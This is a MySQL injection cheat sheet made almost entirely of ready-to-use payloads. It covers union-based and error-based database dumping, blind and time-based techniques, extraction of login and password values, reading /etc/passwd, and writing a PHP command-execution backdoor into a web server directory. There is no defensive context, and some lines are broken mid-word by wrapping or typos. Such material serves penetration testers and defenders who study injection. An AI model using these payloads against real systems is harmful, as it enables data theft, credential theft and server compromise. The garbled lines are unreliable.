MYSQL Injection

MySQL

```
# MYSQL Comment
/* MYSQL Comment */
/*! MYSQL Special SQL */
/*!32302 10*/ Comment for MySQL version 3.23.02
```

Detect columns number

Using a simple ORDER

```
order by 1
order by 2
order by 3
...
order by XXX
```

MySQL Union Based

```
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
```

MySQL Error Based - Basic

```
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
'+(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'
```

MYSQL Error Based - UpdateXML function

```
AND updatexml(rand(),concat(CHAR(126),version(),CHAR(126)),null)-
```

```
AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),schema_name,CHAR(126))
 FROM information_schema.schemata LIMIT data_offset,1)),null)--
AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),TABLE_NAME,CHAR(126))
FROM information_schema.TABLES WHERE table_schema=data_column LIMIT data_offset,1
)),null)--
AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),column_name,CHAR(126))
 FROM information_schema.columns WHERE TABLE_NAME=data_table LIMIT data_offset,
1)),null)--
AND updatexml(rand(),concat(0x3a,(SELECT concat(CHAR(126),data_info,CHAR(126)) FR
OM data_table.data_column LIMIT data_offset,1)),null)--
```

Shorter to read:

```
' and updatexml(null,concat(0x0a,version()),null)-- -
' and updatexml(null,concat(0x0a,(select table_name from information_schema.tab
les where table_schema=database() LIMIT 0,1)),null)-- -
```

MYSQL Error Based - Extractvalue function

```
AND extractvalue(rand(),concat(CHAR(126),version(),CHAR(126)))--
AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),schema_name,CHAR(12
6)) FROM information_schema.schemata LIMIT data_offset,1)))--
AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),TABLE_NAME,CHAR(126
)) FROM information_schema.TABLES WHERE table_schema=data_column LIMIT data_offse
t,1)))--
AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),column_name,CHAR(12
6)) FROM information_schema.columns WHERE TABLE_NAME=data_table LIMIT data_offs
et,1)))--
AND extractvalue(rand(),concat(0x3a,(SELECT concat(CHAR(126),data_info,CHAR(126))
 FROM data_table.data_column LIMIT data_offset,1)))--
```

MYSQL Blind using a conditional statement

TRUE: `if @@version starts with a 5`:

```
2100935' OR IF(MID(@@version,1,1)='5',sleep(1),1)='2
Response:
HTTP/1.1 500 Internal Server Error
```

False: `if @@version starts with a 4`:

```
2100935' OR IF(MID(@@version,1,1)='4',sleep(1),1)='2
Response:
HTTP/1.1 200 OK
```

MYSQL Blind with MAKE_SET

```
AND MAKE_SET(YOLO<(SELECT(length(version()))),1)
AND MAKE_SET(YOLO<ascii(substring(version(),POS,1)),1)
AND MAKE_SET(YOLO<(SELECT(length(concat(login,password)))),1)
AND MAKE_SET(YOLO<ascii(substring(concat(login,password),POS,1)),1)
```

MYSQL Time Based

```
+BENCHMARK(40000000,SHA1(1337))+
'%2Bbenchmark(3200,SHA1(1))%2B'
' OR IF(MID(@@version,1,1)='5',sleep(1),1)='2

AND [RANDNUM]=BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))  //SHA1
RLIKE SLEEP([SLEEPTIME])
OR ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))
```

MYSQL Read content of a file

```
' UNION ALL SELECT LOAD_FILE('/etc/passwd') --
```

MySQL DIOS - Dump in One Shot

```
(select (@) from (select(@:=0x00),(select (@) from (information_schema.columns
) where (table_schema>=@) and (@)in (@:=concat(@,0x0D,0x0A,' [ ',table_schema,'
] > ',table_name,' > ',column_name,0x7C))))a)#
(select (@) from (select(@:=0x00),(select (@) from (db_data.table_data) where
(@)in (@:=concat(@,0x0D,0x0A,0x7C,' [ ',column_data1,' ] > ',column_data2,' > ',0x
7C))))a)#
```

MYSQL DROP SHELL

```
SELECT "<?php system($_GET['cmd']); ?>" into outfile "C:\\xampp\\htdocs\\backdoor
.php"
SELECT '' INTO OUTFILE '/var/www/html/x.php' FIELDS TERMINATED BY '<?php phpinfo(
);?>
-1 UNION SELECT 0xPHP_PAYLOAD_IN_HEX, NULL, NULL INTO DUMPILE 'C:/Program Files/Ea
syPHP-12.1/www/shell.php'
```